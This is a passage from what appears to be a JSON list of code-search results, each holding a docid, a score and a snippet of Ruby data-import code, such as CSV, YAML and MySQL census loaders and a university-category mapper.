'{\"1484\":\"全部性质\",\"1485\":\"财经\",\"1488\":\"工科\",\"1535\":\"交通\",\"1536\":\"军事\",\"1538\":\"理工\",\"1539\":\"林业\",\"1540\":\"旅游\",\"1541\":\"民族\",\"1542\":\"农业\",\"1543\":\"师范\",\"1544\":\"体育\",\"1545\":\"外语\",\"1546\":\"研究\",\"1547\":\"医科\",\"1548\":\"医学\",\"1549\":\"医药\",\"1573\":\"艺术\",\"1574\":\"语言\",\"1575\":\"政法\",\"1576\":\"综合\"}'\n # sorts_2_filter = JSON.parse '{\"全部性质\":\"1484\",\"财经\":\"1485\",\"工科\":\"1488\",\"交通\":\"1535\",\"军事\":\"1536\",\"理工\":\"1538\",\"林业\":\"1539\",\"旅游\":\"1540\",\"民族\":\"1541\",\"农业\":\"1542\",\"师范\":\"1543\",\"体育\":\"1544\",\"外语\":\"1545\",\"研究\":\"1546\",\"医科\":\"1547\",\"医学\":\"1548\",\"医药\":\"1549\",\"语言\":\"1574\",\"艺术\":\"1573\",\"政法\":\"1575\",\"综合\":\"1576\"}'\n sorts_2 = JSON.parse '{\"1484\": \"全部性质\",\"1485\": \"财经\",\"1488\": \"工科\",\"1535\": \"交通\",\"1536\": \"军事\",\"1538\": \"理工\",\"1539\": \"林业\",\"1540\": \"旅游\",\"1542\": \"农业\",\"1543\": \"师范\",\"1544\": \"体育\",\"1546\": \"研究\",\"1549\": \"医药\",\"1573\": \"艺术\",\"1574\": \"语言\",\"1575\": \"政法\",\"1576\": \"综合\",\"1608\": \"农林\",\"1609\": \"经贸\",\"1610\": \"党政\",\"1611\": \"公安\"}'\n sorts_2_filter = JSON.parse '{\"全部性质\":\"1484\",\"财经\":\"1485\",\"工科\":\"1488\",\"交通\":\"1535\",\"军事\":\"1536\",\"理工\":\"1538\",\"林业\":\"1539\",\"旅游\":\"1540\",\"公安\":\"1611\",\"农业\":\"1542\",\"师范\":\"1543\",\"体育\":\"1544\",\"党政\":\"1610\",\"研究\":\"1546\",\"经贸\":\"1609\",\"农林\":\"1608\",\"医药\":\"1549\",\"语言\":\"1574\",\"艺术\":\"1573\",\"政法\":\"1575\",\"综合\":\"1576\"}'\n # sorts_3 = JSON.parse '{\"1486\":\"全部类型\",\"1487\":\"独立学院\",\"1489\":\"高等军事院校\",\"1550\":\"高等职业技术学院\",\"1551\":\"公办本科院校\",\"1552\":\"公立大学\",\"1553\":\"民办本科院校\",\"1554\":\"普通高职院校\",\"1555\":\"企业办学\",\"1556\":\"全国重点大学\",\"1577\":\"事业法人单位\",\"1579\":\"私立大学\",\"1580\":\"艺术学院\",\"1581\":\"中外机构\",\"1582\":\"中央部属高校\",\"1583\":\"重点大学\"}'\n # sorts_3_filter = JSON.parse '{\"全部类型\":\"1486\",\"独立学院\":\"1487\",\"高等军事院校\":\"1489\",\"高等职业技术学院\":\"1550\",\"公办本科院校\":\"1551\",\"公立大学\":\"1552\",\"民办本科院校\":\"1553\",\"普通高职院校\":\"1554\",\"企业办学\":\"1555\",\"全国重点大学\":\"1556\",\"事业法人单位\":\"1577\",\"私立大学\":\"1578\",\"艺术学院\":\"1580\",\"中外机构\":\"1581\",\"中央部属高校\":\"1582\",\"重点大学\":\"1583\"}'\n sorts_3 = JSON.parse '{\"1486\": \"全部类型\",\"1487\": \"普通本科\",\"1489\": \"高职高专\",\"1550\": \"中外合作办学\",\"1551\": \"远程教育学院\",\"1552\": \"独立学院\",\"1553\": \"HND项目\",\"1554\": \"其他\"}'\n sorts_3_filter = JSON.parse '{\"全部类型\":\"1486\",\"普通本科\":\"1487\",\"高职高专\":\"1489\",\"中外合作办学\":\"1550\",\"远程教育学院\":\"1551\",\"独立学院\":\"1552\",\"HND项目\":\"1553\",\"其他\":\"1554\"}'\n\n\n row = json[0]\n for k,v in row\n row[k] = v.strip\n end\n row[\"sort_tmp\"] = row[\"sort_2\"]\n row[\"sort_2\"] = row[\"sort_1\"]\n row[\"sort_1\"] = row[\"sort_tmp\"]\n render json: row\n return\n\n for row in json\n for k,v in row\n row[k] = v.strip\n end\n row[\"sort_tmp\"] = row[\"sort_2\"]\n row[\"sort_2\"] = row[\"sort_1\"]\n row[\"sort_1\"] = row[\"sort_tmp\"]\n if row[\"sort_1\"].strip !=\"\" || row[\"sort_2\"].strip!=\"\" || row[\"sort_3\"].strip!=\"\"\n sorts = [1484,1486,1491]\n sorts.push sorts_1_filter[row[\"sort_1\"].strip] unless sorts_1_filter[row[\"sort_1\"].strip].nil?\n key = row[\"sort_1\"].strip + \"市\"\n sorts.push sorts_1_filter[key] unless sorts_1_filter[key].nil?\n key = row[\"sort_1\"].strip + \"省\"\n sorts.push sorts_1_filter[key] unless sorts_1_filter[key].nil?\n sorts.push sorts_2_filter[row[\"sort_2\"].strip] unless sorts_2_filter[row[\"sort_2\"].strip].nil?\n if row[\"sort_2\"] != \"\"\n if row[\"sort_2\"].split( \";\" ).size > 1\n row[\"sort_2\"].split( \";\" ).each do |item|\n sorts.push sorts_2_filter[item.strip] unless sorts_2_filter[item.strip].nil?\n Rails.logger.info \" -- \" + item.strip + \" - \" + row[\"sort_2\"]\n end\n else\n sorts.push sorts_2_filter[row[\"sort_3\"].strip] unless sorts_2_filter[row[\"sort_2\"].strip].nil?\n end\n end\n sorts.push sorts_3_filter[row[\"sort_3\"].strip] unless sorts_3_filter[row[\"sort_3\"].strip].nil?\n\n n_row = {:title => row[\"title\"] ,:abstract => row[\"join\"] ,:content =>row.to_json , :cms_sort_ids => sorts , :project_info_id => 149,:order_level => 158}\n new_row = ShopContent.new n_row\n info = { :address => row[\"address\"] ,:phone_num =>row[\"phone_num\"]}\n new_row.cms_info_shop = CmsInfoShop.new info\n new_row.image_cover.upload_url = row[\"image_cover\"]\n new_row.save\n end\n end\n\n render json: n_row\n end",
"title": ""
},
{
"docid": "220265c1b81d63499f02bd841ec4b237",
"score": "0.5745125",
"text": "def import(*sets); end",
"title": ""
},
{
"docid": "220265c1b81d63499f02bd841ec4b237",
"score": "0.5745125",
"text": "def import(*sets); end",
"title": ""
},
{
"docid": "eadf032635b2a253e510b89c0f39d5f9",
"score": "0.5738356",
"text": "def import_file(datafile)\n data = YAML::load(File.open(datafile))\n \n register_namespaces(data)\n \n progress = ProgressBar.new(\"Importing\", data.size)\n \n puts \"Importing data from #{datafile}...\"\n \n data.each do |source_name, data_set|\n puts \"Processing #{source_name}\" if(Util::flag?(\"verbose\"))\n primary_source = (data_set.delete(\"primary_source\") == \"true\") ? 'true' : 'false'\n types = data_set.delete(\"type\")\n types = [types] unless(types.kind_of?(Array))\n types.compact!\n # Create the type uris\n types = types.collect { |type| N::URI.make_uri(type) }\n \n # Create the source\n source = TaliaCore::Source.new(source_name)\n source.talias::primary_source << primary_source ? 'true' : 'false'\n source.types << types\n source.save! # save the thing\n \n # Now add the rdf elements\n data_set.each do |name, value|\n uri = N::URI.make_uri(name, \"#\")\n value = [value] unless(value.kind_of?(Array))\n \n value.each do |val|\n val = TaliaCore::Source.new(N::URI.make_uri(val)) if(val.index(\":\"))\n source[uri] << val\n end\n end\n \n source.save! # Save all\n \n progress.inc\n end\n \n progress.finish\n puts \"Done\"\n end",
"title": ""
},
{
"docid": "3af0930b0a31ce51f8f178fd83dabc42",
"score": "0.5729886",
"text": "def import\n data.each do |entry|\n # begin\n next if Book.where(title: entry['title']).where.not(domain: 'yakaboo.ua').first\n author = [book_author(entry['author'])]\n\n tags = []\n tags_arr = entry['tags']\n if tags_arr.present?\n tags_arr.each do |tag|\n tags << book_tag(tag.mb_chars.downcase.to_s)\n end\n end\n\n create_book(entry, author, tags)\n # rescue\n # end\n end\n\n true\n end",
"title": ""
},
{
"docid": "396c43221acf27297947f718069331b4",
"score": "0.5711269",
"text": "def import_supply_items(filename = self.import_filename)\n super\n end",
"title": ""
},
{
"docid": "8fad193803295aaa73a0141cf0d16229",
"score": "0.5699546",
"text": "def deploy_rawdata\n\n \n arguments_rawdata = %W{\n import -mode local\n -input_file_path data/AAPL_1M_CSV.csv\n -input_file_type delimited_text\n -delimited_uri_id Key\n -delimited_root_name Raw_data\n -output_uri_prefix /Raw_data/\n -output_collections Raw_data\n -transform_module /transform/Rawdata-transform.xqy\n -transform_namespace http://marklogic.com/transform/rawdata \n -transform_function transform\n -output_permissions\n #{role},read,#{role},update,#{role},insert,#{role},execute\n }\n mlcp(arguments_rawdata)\nend",
"title": ""
},
{
"docid": "db29d242e15af27043b1644791059201",
"score": "0.56847054",
"text": "def import_categories(client)\n print \"Starting Categories\\n\"\n\n Category.delete_all\n root = Category.create!(:name => 'ROOT', :description => 'Categories in this category are top-level.', :legacy_id => 0)\n\n results = client.query(\"SELECT * FROM cpg1410_categories WHERE name <> 'User Galleries'\")\n\n results.each do |category_row|\n import_category(client, category_row)\n end\nend",
"title": ""
},
{
"docid": "d516d9969b2364a39493b9946f01721d",
"score": "0.56448394",
"text": "def import_data_from_ibovespa!\n puts \"Importing data from #{IBOVESPA_FILE}\"\n\n @queries += read_csv(IBOVESPA_FILE).map do |line|\n asset = line.to_a.first.last\n\n %{insert into ibovespa (asset) values (\"#{asset}\")}\n end\n end",
"title": ""
},
{
"docid": "e18bce8acd43d49a6a05575b46f1a8e5",
"score": "0.56334245",
"text": "def load!\n cleanup!\n\n data.each do |database_data|\n database = connection.db(database_data[\"name\"])\n\n (database_data[\"collections\"] || []).each do |collection_data|\n collection = database.create_collection(collection_data[\"name\"])\n\n (collection_data[\"documents\"] || []).each do |document_data|\n collection.insert(document_data)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "e3f74c780e4bf0fc407e262e40ab2bd3",
"score": "0.5622396",
"text": "def import_categories\n fields = %w[short long description datacolumn_id]\n import_categories_in_queue = []\n counter = 0\n\n categories_sheet.each(1) do |row|\n row = row.take(4).collect { |c| convert_to_string(c) }\n\n header = row[WBF[:category_columnheader_col]]\n short = row[WBF[:category_short_col]]\n\n next unless @header_info_lookup[header] && !short.blank?\n\n long = row[WBF[:category_long_col]].blank? ? short : row[WBF[:category_long_col]]\n description = row[WBF[:category_description_col]].blank? ? long : row[WBF[:category_description_col]]\n\n import_categories_in_queue << [short, long, description, @header_info_lookup[header][1]]\n counter += 1\n\n # import categories in batch of about 1000.\n next unless counter >= 1000\n\n ImportCategory.import fields, import_categories_in_queue, validate: false\n import_categories_in_queue.clear\n counter = 0\n end\n ImportCategory.import fields, import_categories_in_queue, validate: false\n end",
"title": ""
},
{
"docid": "2cdfebab9255ebc8255acadf366beed2",
"score": "0.5615767",
"text": "def import_data\n return false unless @dataset\n\n save_data_columns\n import_categories\n add_acknowledged_people\n import_sheetcells\n end",
"title": ""
},
{
"docid": "528967f242e7d296e7cb67c248120902",
"score": "0.5613929",
"text": "def import_data_from_prices!\n puts \"Importing data from #{PRICES_FILE}\"\n\n @queries += read_csv(PRICES_FILE).map do |event|\n date, asset, category, price = event.to_a.map(&:last)\n\n next if event.header_row? || options[:ignore].include?(asset)\n\n # formats values before sending to the db\n date = Date.strptime(date, '%Y-%m-%d').to_s\n price = price.gsub(\",\", \".\").to_f * 100\n\n %{insert into events (date, asset, category, quantity, price, brokerage)\n values (\"#{date}\", \"#{asset}\", \"#{category}\", 0, #{price}, 0)}\n end\n end",
"title": ""
},
{
"docid": "b51f0085f980d19459de95b3fc2ff9ec",
"score": "0.56029123",
"text": "def import_collection(collection)\n puts \"Ingesting #{collection.name} (#{collection.alias})\"\n\n # delete any old collection containers\n url = \"#{@root_container_url}/#{collection.slug}\"\n @http.delete(url) rescue nil\n @http.delete(\"#{url}/fcr:tombstone\") rescue nil\n\n # create a new collection container\n container = Fedora::Container.create(@root_container_url, collection.slug)\n\n # GET the newly created container's JSON-LD representation\n struct = JSON.parse(container.fedora_json_ld)\n\n # append metadata to the JSON-LD representation via PUT\n @http.put(container.fedora_metadata_url,\n collection.to_json_ld(container.fedora_url, struct),\n { 'Content-Type' => 'application/ld+json' })\n\n File.open(File.join(File.expand_path(@source_path),\n collection.alias + '.xml')) do |file|\n doc = Nokogiri::XML(file)\n doc.xpath('//record').each do |record|\n item = Contentdm::Item.from_cdm_xml(@source_path, collection, record)\n self.import_item(item, container.fedora_url)\n end\n end\n end",
"title": ""
},
{
"docid": "330f1219c3eeb8be66c6fc49013d853b",
"score": "0.55976224",
"text": "def import(name, options)\n log \"Importing #{name}..\"\n raise \"Unable to find '#{name}' in importer options.\" unless options\n file = File.join(@data_folder, options[:file])\n model = name.to_s.camelize.constantize\n # read the file\n CSV.foreach(file, :headers => :first_row) do |row|\n # create an object of the correct type and save\n o = model.new\n options[:fields].each_with_index do |field,i|\n next if field.nil?\n # fields that end with _id require a lookup\n if field == :country_id\n found = Country.find_by_code(row[i])\n o.country_id = found.id if found\n elsif field == :parent_id\n if name == :sector\n # sector tree depends on the icb_number field\n o.parent_id = Sector.find_by_icb_number(row[i]).try(:id) if row[i]\n else\n o.parent_id = model.find_by_old_id(row[i]).id if row[i]\n end\n elsif field == :sector_id\n o.sector_id = Sector.find_by_old_id(row[i]).id if row[i]\n elsif field == :exchange_id\n o.exchange_id = Exchange.find_by_code(row[i]).try(:id) if row[i]\n elsif field == :listing_status_id\n o.listing_status_id = ListingStatus.find_by_old_id(row[i]).try(:id) if row[i]\n elsif field == :publication_id\n o.publication_id = LogoPublication.find_by_old_id(row[i]).id if row[i]\n elsif field == :cop_score_id\n o.cop_score_id = CopScore.find_by_old_id(row[i]).id if row[i]\n elsif field == :logo_request_id\n o.logo_request_id = LogoRequest.find_by_old_id(row[i]).try(:id) if row[i]\n elsif field == :logo_file_id\n o.logo_file_id = LogoFile.find_by_old_id(row[i]).id if row[i]\n elsif field == :removal_reason_id\n o.removal_reason_id = RemovalReason.find_by_old_id(row[i]).try(:id) if row[i]\n elsif field == :organization_id\n if [:contact, :communication_on_progress].include? name\n # some tables are linked to organization by name\n o.organization_id = Organization.find_by_name(row[i].strip).try(:id) if row[i]\n else\n o.organization_id = Organization.find_by_old_id(row[i]).try(:id) if row[i]\n end\n elsif field == :initiative_id and lookup = row[i]\n o.initiative = Initiative.find_by_old_id(lookup)\n elsif [:contact_id, :reviewer_id, :last_modified_by_id].include? field\n o.send(\"#{field}=\", Contact.find_by_old_id(row[i]).try(:id)) if row[i]\n elsif field == :organization_type_id\n o.organization_type_id = OrganizationType.find_by_name(row[i]).try(:id) if row[i]\n elsif [:added_on, :modified_on, :joined_on, :delisted_on, :one_year_member_on, :inactive_on, :cop_due_on].include?(field) and lookup = row[i]\n if lookup =~ /\\d{4}-\\d{2}-\\d{2} .*/\n year, month, day = lookup.split(' ').first.split('-')\n else\n month, day, year = lookup.split('/')\n end\n begin\n o.send(\"#{field}=\", Time.mktime(year, month, day).to_date)\n rescue\n log \"** [minor error] Could not set #{row[i]} as #{field}\"\n end\n else\n value = row[i]\n unless value.blank?\n value = true if value.is_a?(String) && value.downcase == 'true'\n value = false if value.is_a?(String) && value.downcase == 'false'\n value.strip! if value.is_a?(String)\n o.send(\"#{field}=\", value)\n end\n end\n end\n update_state(name, o)\n\n if perform_validation?(name)\n saved = o.save\n log \"** [error] Could not save #{name}: #{row} - #{o.errors.full_messages.to_sentence} - #{o.inspect}\" unless saved\n else\n begin\n o.save(false)\n rescue\n log \"** [error] Could not save #{name}: #{row}\"\n end\n end\n end\n log \"-- [info] Imported #{model.count} records.\"\n # call a post_* method for work required after importing a file\n send(\"post_#{name}\") if self.respond_to?(\"post_#{name}\")\n end",
"title": ""
},
{
"docid": "2d5a33f4b115204e6f33c1388c12faa2",
"score": "0.55915993",
"text": "def import file_path\n File.open(file_path).read.split(\";\").each do |line|\n title, author, description, year_published, edition = line.split(\",\")\n @library_books << Book.new(title, author, description, year_published, edition)\n end\n print_all_books\n end",
"title": ""
},
{
"docid": "ac381d6e199b5477d4c26d094fadeb0d",
"score": "0.55849457",
"text": "def load_data\n @properties = Property.find(:all)\n @product_types = ProductType.find(:all)\n end",
"title": ""
},
{
"docid": "a44181fdddadfde3046499cf1e21b246",
"score": "0.55836856",
"text": "def load_categories\n @categories = []\n File.readlines(\"databases/\"+@short+\"/cats.lang\").each do |line|\n tab = line.split \";\"\n @categories[tab[0].to_i] = tab[1]\n end\n end",
"title": ""
},
{
"docid": "d6a724eb38ea72631141c5dd2c73f23c",
"score": "0.5571522",
"text": "def import_new\n end",
"title": ""
},
{
"docid": "5860932c1db29204001bde8a6f78b7b9",
"score": "0.5563945",
"text": "def import_data\n true\n end",
"title": ""
},
{
"docid": "78b1e0e05b916aaf339a282ead2b96ef",
"score": "0.5558181",
"text": "def import_records(recs)\n\n\t\t##printf(\"IMPORT %s \\n\",recs.length)\n\t\t##printf(\"IMPORT_DATA %s \\n\",recs.inspect())\n\n\t\td = \"''\"\n\t\trecs.each{|dg,r|\n\t\t\td << \",'\"+dg+\"'\"\n\t\t}\n\t\t##\n\t\t## check if already exists ? ( using item_id , for now is md5 hash of the data )\n\t\t##\n\t\tquery=\"select item_id from glossaries where item_id in (\"+d+\")\"\n\t\tres = @client.query(query)\n\t\tres.each{|r|\n\t\t\tv = recs.delete(r[\"item_id\"]) ## we dont need to import this!\n\t\t}\n\t\treturn if recs.length==0\n\t\t##\n\t\t## import -> glossaries-table\n\t\t##\n\t\tquery = \"insert into glossaries(dict_id,item_id,data,created_at,updated_at)values\\n\"\n\t\ti = 0\n\t\trecs.each{|dg,r|\n\t\t\tif i > 0\n\t\t\t\tquery << \",\\n\"\n\t\t\tend\n\t\t\ti = i + 1\n\t\t\tquery << sprintf(\"('%s','%s','%s',now(),now())\\n\",\n\t\t\t\t\[email protected](r.dict_id),\n\t\t\t\t\[email protected](r.item_id),\n\t\t\t\t\[email protected](JSON.generate(r.data)))\n\t\t}\n\t\tres = @client.query(query)\n\n\t\t##\n\t\t## index now\n\t\t##\n\n\t\[email protected]_init(@dict_id)\n\t\trecs.each{|dg,r|\n\t\t\[email protected]_entry(r.item_id,r.data)\n\t\t}\n\t\[email protected]_write()\n\n\tend",
"title": ""
},
{
"docid": "5e89e04a734e64261b0ee7c07d7ea1de",
"score": "0.5556055",
"text": "def import import_filepath\n log.info(x) { \"importing into current book from file #{import_filepath}.\" }\n import_uc = SafeDb::Import.new\n import_uc.import_filepath = import_filepath\n import_uc.flow() \n end",
"title": ""
},
{
"docid": "b6ab60cb24a09bf6d8f2a0040f68e2aa",
"score": "0.5554597",
"text": "def InitializeCatalogs\n Initialize(true)\n\n nil\n end",
"title": ""
},
{
"docid": "984be37e5678f84d7237adc683678072",
"score": "0.55507",
"text": "def load_categories\n @categories = []\n File.readlines(\"databases/\"+@short+\"/cats.lang\").each do |line|\n tab = line.split(\";\")\n @categories[tab[0].to_i] = tab[1]\n end\n end",
"title": ""
},
{
"docid": "2a0f9f49b09b3d3efe229c92b5dc260d",
"score": "0.5550356",
"text": "def data_center_data_import\n # Vdc.update_all(:ops_status=>\"Deleted\")\n\n CSV.foreach(\"csv_data/powercli/esx/datacenters.csv\", :headers => true) do |row|\n\n vcenter = Vcenter.find_by_name(row[\"vcserver\"])\n vdc = Vdc.where(:name => row[\"datacenter\"], :vcenter_id=>vcenter.id).first if vcenter.present?\n if vdc.present?\n vdc.ops_status = \"Present\"\n\n vdc.update_attributes(row.to_hash.slice(*accessible_attributes))\n else\n vdc = Vdc.new\n vdc.ops_status = \"New\"\n vdc.attributes = row.to_hash.slice(*accessible_attributes)\n end\n vdc.name = row[\"datacenter\"]\n vdc.vcenter_id = vcenter.id if vcenter.present?\n vdc.save if vdc.vcenter_id.present?\nend\nend",
"title": ""
},
{
"docid": "ff150c413f20ef2dc66a8e932288c3a7",
"score": "0.5546226",
"text": "def load_tables(client, working_dir, suffix, dataset)\n # Either SF1 or Rural/Urban Update (RU) \n # Hoping that the ACS has same data dictionary\n\n # use mysql to load geo table\n #\n f = File.join working_dir, \"usgeo2010.csv\"\n t = \"geo2010\"\n\n qstr = \"\\\"LOAD DATA INFILE \\'#{f}\\' INTO TABLE #{t} FIELDS TERMINATED BY ',' LINES TERMINATED BY '\\\\n' \"\n qstr << \"\n(@var)\nSET FILEID = SUBSTR(@var,1 , 6 ),\nSTUSAB = SUBSTR(@var,7 , 2 ),\nSUMLEV = SUBSTR(@var,9 , 3 ),\nGEOCOMP = SUBSTR(@var,12 , 2 ),\nCHARITER = SUBSTR(@var,14 , 3 ),\nCIFSN = SUBSTR(@var,17 , 2 ),\nLOGRECNO = SUBSTR(@var,19 , 7 ),\nREGION = SUBSTR(@var,26 , 1 ),\nDIVISION = SUBSTR(@var,27 , 1 ),\nSTATE = SUBSTR(@var,28 , 2 ),\nCOUNTY = SUBSTR(@var,30 , 3 ),\nCOUNTYCC = SUBSTR(@var,33 , 2 ),\nCOUNTYSC = SUBSTR(@var,35 , 2 ),\nCOUSUB = SUBSTR(@var,37 , 5 ),\nCOUSUBCC = SUBSTR(@var,42 , 2 ),\nCOUSUBSC = SUBSTR(@var,44 , 2 ),\nPLACE = SUBSTR(@var,46 , 5 ),\nPLACECC = SUBSTR(@var,51 , 2 ),\nPLACESC = SUBSTR(@var,53 , 2 ),\nTRACT = SUBSTR(@var,55 , 6 ),\nBLKGRP = SUBSTR(@var,61 , 1 ),\nBLOCK = SUBSTR(@var,62 , 4 ),\nIUC = SUBSTR(@var,66 , 2 ),\nCONCIT = SUBSTR(@var,68 , 5 ),\nCONCITCC = SUBSTR(@var,73 , 2 ),\nCONCITSC = SUBSTR(@var,75 , 2 ),\nAIANHH = SUBSTR(@var,77 , 4 ),\nAIANHHFP = SUBSTR(@var,81 , 5 ),\nAIANHHCC = SUBSTR(@var,86 , 2 ),\nAIHHTLI = SUBSTR(@var,88 , 1 ),\nAITSCE = SUBSTR(@var,89 , 3 ),\nAITS = SUBSTR(@var,92 , 5 ),\nAITSCC = SUBSTR(@var,97 , 2 ),\nTTRACT = SUBSTR(@var,99 , 6 ),\nTBLKGRP = SUBSTR(@var,105 , 1 ),\nANRC = SUBSTR(@var,106 , 5 ),\nANRCCC = SUBSTR(@var,111 , 2 ),\nCBSA = SUBSTR(@var,113 , 5 ),\nCBSASC = SUBSTR(@var,118 , 2 ),\nMETDIV = SUBSTR(@var,120 , 5 ),\nCSA = SUBSTR(@var,125 , 3 ),\nNECTA = SUBSTR(@var,128 , 5 ),\nNECTASC = SUBSTR(@var,133 , 2 ),\nNECTADIV = SUBSTR(@var,135 , 5 ),\nCNECTA = SUBSTR(@var,140 , 3 ),\nCBSAPCI = SUBSTR(@var,143 , 1 ),\nNECTAPCI = SUBSTR(@var,144 , 1 ),\nUA = SUBSTR(@var,145 , 5 ),\nUASC = SUBSTR(@var,150 , 2 ),\nUATYPE = SUBSTR(@var,152 , 1 ),\nUR = SUBSTR(@var,153 , 1 ),\nCD = SUBSTR(@var,154 , 2 ),\nSLDU = SUBSTR(@var,156 , 3 ),\nSLDL = SUBSTR(@var,159 , 3 ),\nVTD = SUBSTR(@var,162 , 6 ),\nVTDI = SUBSTR(@var,168 , 1 ),\nRESERVE2 = SUBSTR(@var,169 , 3 ),\nZCTA5 = SUBSTR(@var,172 , 5 ),\nSUBMCD = SUBSTR(@var,177 , 5 ),\nSUBMCDCC = SUBSTR(@var,182 , 2 ),\nSDELM = SUBSTR(@var,184 , 5 ),\nSDSEC = SUBSTR(@var,189 , 5 ),\nSDUNI = SUBSTR(@var,194 , 5 ),\nAREALAND = SUBSTR(@var,199 , 14 ),\nAREAWATR = SUBSTR(@var,213 , 14 ),\nNAME = SUBSTR(@var,227 , 90 ),\nFUNCSTAT = SUBSTR(@var,318 , 1 ),\nGCUNI = SUBSTR(@var,319 , 1 ),\nPOP100 = SUBSTR(@var,319 , 9 ),\nHU100 = SUBSTR(@var,328, 9 ),\nINTPTLAT = SUBSTR(@var,337 , 11 ),\nINTPTLON = SUBSTR(@var,348 , 12 ),\nLSADC = SUBSTR(@var,360 , 2 ),\nPARTFLAG = SUBSTR(@var,362 , 1 ),\nRESERVE3 = SUBSTR(@var,363 , 6 ),\nUGA = SUBSTR(@var,369 , 5 ),\nSTATENS = SUBSTR(@var,374 , 8 ),\nCOUNTYNS = SUBSTR(@var,381 , 8 ),\nCOUSUBNS = SUBSTR(@var,390 , 8 ),\nPLACENS = SUBSTR(@var,398 , 8 ),\nCONCITNS = SUBSTR(@var,406 , 8 ),\nAIANHHNS = SUBSTR(@var,414 , 8 ),\nAITSNS = SUBSTR(@var,421 , 8 ),\nANRCNS = SUBSTR(@var,430 , 8 ),\nSUBMCDNS = SUBSTR(@var,438 , 8 ),\nCD113 = SUBSTR(@var,446 , 2 ),\nCD114 = SUBSTR(@var,448 , 2 ),\nCD115 = SUBSTR(@var,450 , 2 ),\nSLDU2 = SUBSTR(@var,452 , 3 ),\nSLDU3 = SUBSTR(@var,455 , 3 ),\nSLDU4 = SUBSTR(@var,458 , 3 ),\nSLDL2 = SUBSTR(@var,461 , 3 ),\nSLDL3 = SUBSTR(@var,464 , 3 ),\nSLDL4 = SUBSTR(@var,467 , 3 ),\nAIANHHSC = SUBSTR(@var,470 , 2 ),\nCSASC = SUBSTR(@var,472 , 2 ),\nCNECTASC = SUBSTR(@var,474 , 2 ),\nMEMI = SUBSTR(@var,476 , 1 ),\nNMEMI = SUBSTR(@var,477 , 1 ),\nPUMA = SUBSTR(@var,478 , 5 ),\nRESERVED = SUBSTR(@var,483 , 18 ); \n\\\"\"\n\n sql_str = \"#{MYSQLBIN_D}/mysql -h #{SQLHOST} -u #{SQLUSER} --password=#{SQLPASSWORD} -D #{SQLDATABASE} --execute=#{qstr}\"\n \n system(sql_str)\n\n (1..47).each do |i|\n t = \"#{dataset}_%02d\" % i\n cnt = client.query(\"select count(*) cnt from #{t}\").first[\"cnt\"]\n \n next if cnt > 0\n f = working_dir + \"/us000%02d\" % i + \"2010.#{suffix}\"\n\n unless File.size?(f)\n puts \"File #{f} doesn't exist!\" \n next\n end\n \n qstr = \"LOAD DATA INFILE '#{f}' INTO TABLE #{t} FIELDS TERMINATED BY ',' LINES TERMINATED BY '\\\\n';\"\n puts qstr\n \n client.query(qstr)\n end\nend",
"title": ""
},
{
"docid": "3b2c9d4ed0c8068d7873e7fb3473c35f",
"score": "0.55453587",
"text": "def import\n require 'yajl/json_gem'\n require 'celluloid'\n\n Mongo::Collection.send(:include, Celluloid)\n Celluloid.boot\n\n client.database.drop\n create_collection\n files = [*0..99].collect { |i| \"#{LDJSON_FILE_BASE}#{i.to_s.rjust(3, \"0\")}.txt\" }\n\n result = Benchmark.realtime do\n Benchmarking::TEST_REPETITIONS.times do |i|\n docs = File.open(files[i]).map{ |document| JSON.parse(document) }\n collection.async.insert_many(docs)\n end\n end\n client.database.drop\n result\n end",
"title": ""
},
{
"docid": "2306050ea642c278dd50275779f89ff5",
"score": "0.5542202",
"text": "def load_data\n @customers = Appliance.all\n @targets = @customers.map(&:targets).flatten\n end",
"title": ""
},
{
"docid": "ac354e33da3cd4115a8f7de685631f40",
"score": "0.5540741",
"text": "def import(filename)\n\n # Erase existing energy system\n self.erase\n\n paper_trail_state = PaperTrail.enabled?\n PaperTrail.enabled = false\n\n begin\n\n #Hashes de correspondence\n h = Hash.new\n [:loc,:tec,:com,:flo,:dmd,:mkt,:agg, :par].each { |x| h[x] = Hash.new }\n\n ZipTools::readline_zip(filename,EnergySystem) do |row|\n #self.name = row[\"name\"]\n self.description = row[\"description\"]\n self.first_year = row[\"first_year\"]\n self.nb_periods = row[\"nb_periods\"]\n self.period_duration = row[\"period_duration\"]\n self.save\n end\n\n ZipTools::readline_zip(filename,Technology) do |row|\n t = Technology.create(name: row[\"name\"],\n description: row[\"description\"],\n energy_system: self)\n t.set_list = row[\"sets\"]\n t.save\n h[:tec][row[\"id\"]] = t.id\n end\n\n ZipTools::readline_zip(filename,DemandDriver) do |row|\n d = DemandDriver.new(name: row[\"name\"],\n description: row[\"definition\"],\n energy_system: self)\n d.save\n h[:dmd][row[\"id\"]] = d.id\n end\n\n ZipTools::readline_zip(filename,Commodity) do |row|\n c = Commodity.create(name: row[\"name\"],\n description: row[\"description\"],\n demand_driver_id: h[:dmd][row[\"demand_driver_id\"]],\n projection_base_year: row[\"projection_base_year\"],\n default_demand_elasticity: row[\"default_demand_elasticity\"],\n energy_system: self)\n c.set_list = row[\"sets\"]\n c.save\n h[:com][row[\"id\"]] = c.id\n end\n\n ZipTools::readline_zip(filename,Flow) do |row|\n commodity_ids = row[\"commodities\"].scan(/\\d+/).collect{|c|h[:com][c]}\n attributes = { technology_id: h[:tec][row[\"technology_id\"]],\n commodity_ids: commodity_ids }\n case row[\"type\"]\n when \"InFlow\"\n h[:flo][row[\"id\"]] = InFlow.create(attributes).id\n when \"OutFlow\"\n h[:flo][row[\"id\"]] = OutFlow.create(attributes).id\n else\n nil\n end\n end\n\n ZipTools::readline_zip(filename,TechnologySet) do |row|\n technology_ids = row[\"technologies\"].scan(/\\d+/).collect{|c|h[:tec][c]}\n m = TechnologySet.create(name: row[\"name\"],\n description: row[\"description\"],\n technology_ids: technology_ids ,\n energy_system: self)\n m.set_list = \"MARKET\"\n m.save\n h[:mkt][row[\"id\"]] = m.id\n end\n\n ZipTools::readline_zip(filename,CommoditySet) do |row|\n commodity_ids = row[\"commodities\"].scan(/\\d+/).collect{|c|h[:com][c]}\n a = CommoditySet.create(name: row[\"name\"],\n description: row[\"description\"],\n commodity_ids: commodity_ids,\n energy_system: self)\n a.set_list = \"AGG\"\n a.save\n h[:agg][row[\"id\"]] = a.id\n end\n\n s = Scenario.create(name: \"BASE\", energy_system: self)\n h[:sce] = Hash.new(s.id)\n ZipTools::readline_zip(filename,Scenario) do |row|\n unless row[\"name\"]==\"BASE\"\n s = Scenario.create(name: row[\"name\"], energy_system: self)\n h[:sce][row[\"id\"]] = s.id\n end\n end\n\n params = Parameter.all\n params.each{|p| 